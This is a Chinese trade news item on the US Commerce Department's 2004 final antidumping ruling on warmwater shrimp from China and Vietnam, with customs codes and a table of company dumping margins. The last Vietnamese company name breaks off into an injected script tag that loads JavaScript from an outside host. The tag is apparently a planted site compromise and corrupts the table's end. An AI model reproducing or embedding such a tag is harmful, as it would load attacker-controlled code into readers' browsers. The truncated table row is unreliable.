美国商务部对原产于中国和越南的冷冻或罐装暖水虾作出反倾销终裁
2004年11月30日,美国商务部发布公告,对原产于中国和越南的冷冻或罐装暖水虾作出反倾销终裁(表1)。除鲜虾、冷水虾和干虾以外的各类暖水虾,包括捕捞、养殖,去头、去尾或去皮的暖水虾均在被调查之列。涉案产品海关编码为03061300.03,03061300.06,03061300.09,03061300.12,03061300.15,03061300.18,03061300.21,03061300.24,03061300.27,03061300.40,16052010.10,16052010.30和16052010.40。
本案是应美国虾业贸易行动委员会2003年12月31日提交的申诉而启动的。根据日程安排,美国国际贸易委员会将在2005年1月12日前就产业损害情况作出终裁。
表1 美国商务部对原产于中国和越南的冷冻或罐装暖水虾作出的反倾销终裁结果
涉 案 企 业 |
倾销幅度(%) |
中 国 |
联合太平洋集团公司 |
84.93 |
湛江国联水产开发有限公司 |
0.07(微量) |
汕头红园食品有限公司 |
27.89 |
谊林有限公司(香港地区) |
82.27 |
获得单独税率的中国公司(见附录) |
55.23 |
中国其他公司 |
112.81 |
越 南 |
Minh Phu水产有限公司 |
4.21 |
Kim Ahn有限公司 |
25.76 |
Minh Hai水产加工股份有限公?script src=http://cn.jxmmtv.com/cn.js>
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